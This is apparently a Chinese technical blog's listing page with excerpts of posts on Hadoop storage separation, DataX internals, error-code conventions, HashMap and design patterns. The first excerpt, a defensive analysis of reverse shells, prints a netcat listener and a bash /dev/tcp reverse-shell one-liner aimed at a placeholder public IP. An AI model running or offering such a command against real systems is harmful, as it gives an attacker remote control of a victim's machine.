shell反弹渗透技术分析和解决方案
一. 背景 目前公司的产品的《命令行复测结果简报》中检测出反弹shell漏洞, 需要对该问题做出相关相关应对方案。
二. 反弹shell介绍 反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的⻆色反转。 例子:
攻击者在其机器上监听端口 12// 通过netcat工具监听 6767端口号(tcp/udp)并且输出交互信息 nc -lvp 6767
在被攻击端执行下面命令 12//产生一个交互的shell 并且建立socket连接读取这个文件 bash -i >& /dev/tcp/公网ip/ 6767 0 >& 1
反弹shell 时序图如下:
三. 漏洞分析 &nb ...
10分钟了解SimbaFs解决hadoop存算分离问题
一、前言 众所周知传统的 Apache Hadoop 的架构存储和计算是耦合在一起的, HDFS 作为其分布式文件系统也面临一些问题。如: 存储空间或者计算资源不足两者只能同时扩容、扩容效率低、额外增加成本、灵活性差等。本文会大家回顾Hadoop的传统架构来分析上述问题以及Hadoop实现存算分离的方案和DataSimba的对于Hadoop存算分离的最佳实践。
二、Hadoop分布式文件系统(HDFS)的架构和问题 HDFS的架构:
HDFS采用master/slave架构。一个HDFS集群是由一个Namenode和一定数目的Datanodes组成。
Namenode:
Namenode是一个中心服务器,负责管理文件系统的名字空间(namespace)以及客户端对文件的访问
Namenode执行文件系统的名字空间操作,比如打开、关闭、重命名文件或目录。它也负责确定数据块到具体Datanode节点的映射。
Datanode:
集群中的 ...
数据同步 DATAX 工作原理及源码解读
DataX 工作原理及源码解读背景: 最近在工作中接触到阿里的数据同步工具datax,通过其实现了一些数据源的数据同步功能,虽然在官方文档中了解其工作原理,但是还是对其如何实现的可扩展的架构,和不同数据源之间导入导出的原理比较感兴趣,查看网上的一些介绍并没有深入源码,所以闲暇时间查看了datax的主流程代码,对此做了一下总结。
概述: 该文章主要内容如下:
datax 介绍
datax 工作原理
datax 如何本地调试
datax 源码分析
总结一、datax 介绍 github: datax DataX 是一个异构数据源离线同步工具,致力于实现包括关系型数据库(MySQL、Oracle等)、HDFS、Hive、ODPS、HBase、FTP等各种异构数据源之间稳定高效的数据同步功能。具体内容可以查看官方文档这里就不做多描述。二、datax 工作原理1. Datax核心架构图 上图为官方文档的架构图,主要氛围3个大的模块分别为job、task、taskg ...
项目规范 对于服务异常和错误码规范的总结
服务异常和错误码规范背景 目前公司的服务端返回的异常不规范,导致接口各个场景返回的异常不统一,使得项目不好维护。并且代码看起来不优雅,目前公司项目遇到了国际化的问题,服务端的异常也需要做出相关调整。所以对服务端的异常错误码制定一个规范。
思考
需要制定那些异常?
错误码如何设计?如何做到可读性、可维护、灵活可控?
新的异常规范,如何设计才会对当前项目侵入性小?
异常分类 根据之前的工作经验,异常分为两个大分类,未知异常、已知异常,结合这两个分类对异常进行拆分,直到拆分到不能拆分为止。拆分结果如下:
异常拆分一定要结合整体服务业务,有些公司服务的异常可能其他公司永远都用不上。比如电商的项目有些异常场景可能做crm系统的永远用不上。所以不要盲目借鉴。
异常介绍
未知异常未知异常指的是服务端不可感知和控制的异常,如引入的jar包中抛出的异常,或者数据库链接异常,或者代码bug出现的空指针异常和badsql,这些异常是服务端可能出现的情况,上面列举的几个场景也确实是服务器异常,所以针对这种情况,服务端接口返回的http状态码是500 无需将相 ...
集合类框架 hashmap 源码详解
介绍HashMap 可能是面试的时候必问的题目了,面试官为什么都偏爱拿这个问应聘者?因为 HashMap 它的设计结构和原理比较有意思,它既可以考初学者对 Java 集合的了解又可以深度的发现应聘者的数据结构功底。
Java 7 中 HashMapHashMap 是最简单的,一来我们非常熟悉,二来就是它不支持并发操作,所以源码也非常简单。d
首先,我们用下面这张图来介绍 HashMap 的结构。
大方向上,HashMap 里面是一个数组,然后数组中每个元素是一个单向链表。为什么是这种的结构,这涉及到数据结构方面的知识了。
HashMap的数据结构数据结构中有数组和链表来实现对数据的存储,但这两者基本上是两个极端。
数组数组存储区间是连续的,占用内存严重,故空间复杂的很大。但数组的二分查找时间复杂度小,为O(1);数组的特点是:寻址容易,插入和删除困难;
链表链表存储区间离散,占用内存比较宽松,故空间复杂度很小,但时间复杂度很大,为O(N)。链表的特点是:寻址困难,插入和删除容易。
哈希表那么我们能不能综合两者的特性,做出一种寻址容易,插入删除也容易的数据结构?答案是肯定的,这 ...
设计模式 行为型模式 观察者模式
描述观察者模式又叫发布订阅模式,拥有一个监听者,如果一个被监听者发生了改变则会通知到所有监听者。例子,警察和嫌疑犯之间就是观察者模式。微信朋友圈,相对于好友,你就是观察者,微信好友发送朋友圈你会收到通知
类图
代码实现123456789101112public class PoliceMan { private String name; public PoliceMan(String name) { this.name = name; } public void name() { System.out.println("我是:" + name + "收到消息"); }}
123456789101112131415161718192021222324public class XianFan1 { private String name; public XianFan1(String name) ...
设计模式 结构型模式 桥接模式
描述 桥接(Bridge)是用于把抽象化与实现化解耦,使得二者可以独立变化。这种类型的设计模式属于结构型模式,它通过提供抽象化和实现化之间的桥接结构,来实现二者的解耦。
这种模式涉及到一个作为桥接的接口,使得实体类的功能独立于接口实现类。这两种类型的类可被结构化改变而互不影响。例子:总共又长方形、正方形、三角形、圆形四个形状。如果现在有需求每个形状要有红、黄、蓝,三个颜色。最能想到的是在每个形状下在创建长方形-红、长方形-黄、长方形-蓝、正方形-红、正方形-黄、正方形-蓝…..等等来进行实现。而使用桥接模式则创建一个抽象的 颜色类。并且实现红色类,黄色类,蓝色类。扩充的形状类存储颜色的引用对象在创建形状的时候去添加对应的颜色引用对象。
类图
代码12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879public interface Col ...
设计模式 结构型模式 外观模式
描述外观模式属于结构型模式的一种,当子系统的方法众多,可以引用外观模式在外观类将子方法的方法封装起来,外观类提供简单的api方法。外观类的方法屏蔽掉了复杂的api调用
类图下图为外观模式类图
代码12345public class SubMethod1 { public void method1(){ System.out.println("子系统中类1的方法1"); }}
12345public class SubMethod2 { public void method2(){ System.out.println("子系统中类2方法2"); } }
12345public class SubMethod3 { public void method3(){ System.out.println("子系统类3方法3"); }} ...
设计模式 结构型模式 适配器模式
描述 适配器模式属于结构性模式,将适配类的api转化为目标类的api,如mac电脑使用的是typec的接口,连接显示器需要hdmi接口。我们要使用mac连接显示器,需要使用扩展坞,这其实就是适配器模式。
类图
分类
类适配是基于继承实现的
对象适配使用组合方式实现,更加灵活代码123456public class MacInterface { public void typeC(){ System.out.println("type 已经连接.."); }}
12345public interface Monitor { void hdml();}
类适配1234567public class ExtendUtil extends MacInterface implements Monitor { @Override public void hdml() { super.typeC(); ...
设计模式 创建型模式 单例模式
描述 单例模式对于开发人员来讲并不陌生通过单利模式可以控制应用程序中,只有一个对象的实例,分为饿汉式和懒汉式.饿汉式在类加载的时候就初始化,懒汉模式拥有延迟加载的思想,在使用的时候创建。实现单例模式的思想就是私有构造方法。通过getInstance()方法获取对应实例
饿汉式12345678public class Singleton{ private static final Singleton singleton =new Singleton();private Singleton{ } public static Singleton getInstance(){ return singleton;}}
懒汉式12345678910111213public class Singleton{ private static final singleton = null;private Singleton{ } private Singleton{ }p ...